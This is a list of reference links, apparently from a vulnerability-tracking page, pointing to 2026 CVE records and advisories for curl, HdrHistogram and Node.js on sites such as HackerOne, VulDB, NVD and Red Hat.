curl.se/docs/CVE-2026-8286.html
curl.se/docs/CVE-2026-8286.json
hackerone.com/reports/3718195
bugzilla.redhat.com/show_bug.cgi?id=2496764
cve.org/CVERecord?id=CVE-2026-8458
nvd.nist.gov/vuln/detail/CVE-2026-8458
curl.se/docs/CVE-2026-8458.html
curl.se/docs/CVE-2026-8458.json
hackerone.com/reports/3721183
bugzilla.redhat.com/show_bug.cgi?id=2496765
cve.org/CVERecord?id=CVE-2026-8924
nvd.nist.gov/vuln/detail/CVE-2026-8924
curl.se/docs/CVE-2026-8924.html
curl.se/docs/CVE-2026-8924.json
hackerone.com/reports/3733905
bugzilla.redhat.com/show_bug.cgi?id=2496762
cve.org/CVERecord?id=CVE-2026-8925
nvd.nist.gov/vuln/detail/CVE-2026-8925
curl.se/docs/CVE-2026-8925.html
curl.se/docs/CVE-2026-8925.json
hackerone.com/reports/3735193
bugzilla.redhat.com/show_bug.cgi?id=2496760
cve.org/CVERecord?id=CVE-2026-8926
nvd.nist.gov/vuln/detail/CVE-2026-8926
curl.se/docs/CVE-2026-8926.html
curl.se/docs/CVE-2026-8926.json
hackerone.com/reports/3735184
bugzilla.redhat.com/show_bug.cgi?id=2496769
cve.org/CVERecord?id=CVE-2026-8927
nvd.nist.gov/vuln/detail/CVE-2026-8927
curl.se/docs/CVE-2026-8927.html
curl.se/docs/CVE-2026-8927.json
hackerone.com/reports/3744543
bugzilla.redhat.com/show_bug.cgi?id=2496759
cve.org/CVERecord?id=CVE-2026-8932
nvd.nist.gov/vuln/detail/CVE-2026-8932
curl.se/docs/CVE-2026-8932.html
curl.se/docs/CVE-2026-8932.json
hackerone.com/reports/3733910
bugzilla.redhat.com/show_bug.cgi?id=2496771
cve.org/CVERecord?id=CVE-2026-9079
nvd.nist.gov/vuln/detail/CVE-2026-9079
curl.se/docs/CVE-2026-9079.html
curl.se/docs/CVE-2026-9079.json
hackerone.com/reports/3750295
bugzilla.redhat.com/show_bug.cgi?id=2496755
cve.org/CVERecord?id=CVE-2026-9080
nvd.nist.gov/vuln/detail/CVE-2026-9080
curl.se/docs/CVE-2026-9080.html
curl.se/docs/CVE-2026-9080.json
hackerone.com/reports/3749204
bugzilla.redhat.com/show_bug.cgi?id=2496770
cve.org/CVERecord?id=CVE-2026-9546
nvd.nist.gov/vuln/detail/CVE-2026-9546
curl.se/docs/CVE-2026-9546.html
curl.se/docs/CVE-2026-9546.json
hackerone.com/reports/3754343
nvd.nist.gov/vuln/detail/CVE-2026-9547
curl.se/docs/CVE-2026-9547.html
curl.se/docs/CVE-2026-9547.json
hackerone.com/reports/3751712
curl.se/docs/CVE-2026-11352.html
curl.se/docs/CVE-2026-11352.json
hackerone.com/reports/3783438
hackerone.com/reports/3788984
hackerone.com/reports/3788931
hackerone.com/reports/3793260
hackerone.com/reports/3797526
github.com/HdrHistogram/HdrHistogram
github.com/HdrHistogram/HdrHistogram/issues/219
vuldb.com/cve/CVE-2026-14683
vuldb.com/submit/846750
vuldb.com/submit/846752
vuldb.com/vuln/376279
vuldb.com/vuln/376279/cti
github.com/HdrHistogram/HdrHistogram/issues/220
vuldb.com/cve/CVE-2026-14684
vuldb.com/submit/846754
vuldb.com/vuln/376280
vuldb.com/vuln/376280/cti
github.com/HdrHistogram/HdrHistogram/issues/221
vuldb.com/cve/CVE-2026-14685
vuldb.com/submit/846761
vuldb.com/vuln/376281
vuldb.com/vuln/376281/cti
vuldb.com/cve/CVE-2026-14686
vuldb.com/submit/846762
vuldb.com/vuln/376282
vuldb.com/vuln/376282/cti
vuldb.com/cve/CVE-2026-15187
vuldb.com/submit/851357
vuldb.com/vuln/377113
vuldb.com/vuln/377113/cti
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_35272.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_7378.json
nodejs.org/en/blog/vulnerability/december-2025-security-releases
cna.openjsf.org/security-advisories.html
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_7655.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_9455.json
ubuntu.com/security/CVE-2026-59870
Left out here: 129 references. The JSON record has them.